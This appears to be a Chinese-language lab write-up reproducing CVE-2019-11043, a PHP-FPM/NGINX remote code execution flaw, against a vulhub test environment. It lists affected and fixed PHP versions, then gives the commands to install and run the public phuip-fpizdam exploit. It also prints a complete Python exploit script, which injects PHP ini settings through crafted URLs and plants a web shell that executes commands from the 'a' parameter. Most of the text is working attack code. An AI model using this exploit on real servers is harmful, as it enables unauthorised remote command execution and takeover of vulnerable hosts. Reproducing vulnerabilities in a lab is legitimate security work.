CVE-2019-11043遠程代碼執行漏洞復現
漏洞名稱:
php fastcgi 遠程命令執行漏洞
漏洞類型:
遠程代碼執行漏洞
漏洞危害:
高危
漏洞來源:
https://www.nginx.com/blog/php-fpm-cve-2019-11043-vulnerability-nginx/
公佈時間:
2019-10-28
涉及應用版本:
<7.1.33的PHP版本7.1.x
<7.2.24的7.2.x
<7.3.11的7.3.x容易受到攻擊
修復版本:
php: 7.1.33 7.2.24 7.3.11
應用語言:
php
漏洞簡介:
該漏洞可以通過構造url請求,實現遠程代碼執行
漏洞影響:
攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器
漏洞利用條件
- 已安裝易受攻擊的PHP版本
- 底層服務器是NGINX
- php-fpm已啓用
漏洞分析:
漏洞主要存在於fpm_main.c中的代碼,裏面的
location ~ [^/]\.php(/|$)
代碼中,分了兩次匹配url,導致可以構造url請求執行代碼
漏洞修復:
更新php版本 >=7.1.33 7.2.24 7.3.11
參考文章:
https://blog.qualys.com/webappsec/2019/10/30/php-remote-code-execution-vulnerability-cve-2019-11043
https://paper.seebug.org/1064/
測試信息
測試操作系統環境:
kali/linux
測試人:
Ann
測試日期:
2019-11-1
測試環境:
vulhub/php/CVE-2019-11043
測試過程:
一。使用工具 phuip-fpizdam 復現
1.開啓靶場環境,訪問頁面 http://192.168.1.152:8080/index.php
docker-compose up -d
2.按照文檔 https://blog.csdn.net/u010953692/article/details/95232379 安裝go環境
3.安裝工具 phuip-fpizdam
download exp from github (under go environment)
#go get -v github.com/neex/phuip-fpizdam
build
#go install github.com/neex/phuip-fpizdam
use exp to attack
#phuip-fpizdam http://192.168.1.152:8080/index.php
4.訪問頁面 http://192.168.1.152:8080/index.php?a=id (若是無反應,則需多訪問幾遍)
二。使用腳本運行
1.開啓靶場環境,訪問頁面 http://192.168.1.152:8080/index.php
docker-compose up -d
2.運行腳本進行攻擊
python3 CVE-2019-11043.py
URL: http://192.168.1.152:8080/index.php
3.訪問頁面 http://192.168.1.152:8080/index.php?a=pwd (若是無反應,則需多訪問幾遍)
腳本利用
CVE-2019-11043.py
import requests
# author:eth10
# 根據GitHub上面的go語言exp,以及攻擊數據包寫的對應py3 exp
# 隨便改一下就可以批量檢測了,檢測之前最好確認是nginx+linux+php的環境
# url必須是帶有php的文件路徑,如:http://192.168.1.11/index.php
# 第一次的話在攻擊過程中可以利用,但是結束後可能就不穩定了,建議第一次執行完之後,再執行一次穩定後就可以執行命令了。
# 訪問即可執行命令:http://192.168.1.11/index.php?a=ifconfig
url = input("URL:")
url = url.strip()
def one():
tmplist = []
headers = {"User-Agent": "Mozilla/5.0",
"D-Pisos": "8=D",
"Ebut": "mamku tvoyu"
}
for i in range(1499, 1900):
res = requests.get(url + "/PHP%0Ais_the_shittiest_lang.php?" + "Q" * i, headers=headers)
if res.status_code == 502:
tmplist.append(i-10)
tmplist.append(i-5)
tmplist.append(i)
print(f"Status code 502 for qsl={tmplist[0]}, adding as a candidate")
print(f"The target is probably vulnerable. Possible QSLs: {tmplist}")
break
return tmplist
def two():
tmplist = one()
if len(tmplist) == 0:
print('暫未發現漏洞')
return None
for i in tmplist:
for j in range(1, 256):
headers = {
"User-Agent": "Mozilla/5.0",
"D-Pisos": f"8{'='*j}D",
"Ebut": "mamku tvoyu"
}
res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=1;;;?" + "Q" * i, headers=headers)
if "Set-Cookie" in res.headers:
# print(i, j, res.headers)
print('Trying to set "session.auto_start=0"...')
for t in range(50):
res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=0;;;?" + "Q" * i, headers=headers)
print('Performing attack using php.ini settings...')
count = 0
for l in range(1000):
res = requests.get(
url + "/PHP_VALUE%0Ashort_open_tag=1;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i-27),
headers=headers)
res = requests.get(
url + "/PHP_VALUE%0Ahtml_errors=0;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
headers=headers)
res = requests.get(
url + "/PHP_VALUE%0Ainclude_path=/tmp;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
headers=headers)
res = requests.get(
url + "/PHP_VALUE%0Aauto_prepend_file=a;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
headers=headers)
# print('auto_prepend_file=a', res.text)
res = requests.get(
url + "/PHP_VALUE%0Alog_errors=1;;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
headers=headers)
res = requests.get(
url + "/PHP_VALUE%0Aerror_reporting=2;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
headers=headers)
print(l, 'error_reporting=2', res.content)
# if "/usr/bin/which" == res.text
res = requests.get(
url + "/PHP_VALUE%0Aerror_log=/tmp/a;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
headers=headers)
res = requests.get(
url + "/PHP_VALUE%0Aextension_dir=%22%3C%3F=%60%22;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27-5),
headers=headers)
res = requests.get(
url + "/PHP_VALUE%0Aextension=%22$_GET%5Ba%5D%60%3F%3E%22?a=/bin/sh+-c+'which+which'&" + "Q" * (
i - 27 - 5-3),
headers=headers)
if "PHP Warning" in res.text:
# print('extension=%22$_GET', res.text)
for k in range(5):
res = requests.get(
url + "/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&" + "Q" * (
i - 97), headers=headers)
if "PHP Warning" in res.text:
# print('a=%3Becho+%27%3C%3Fphp+echo', res.text)
break
break
two()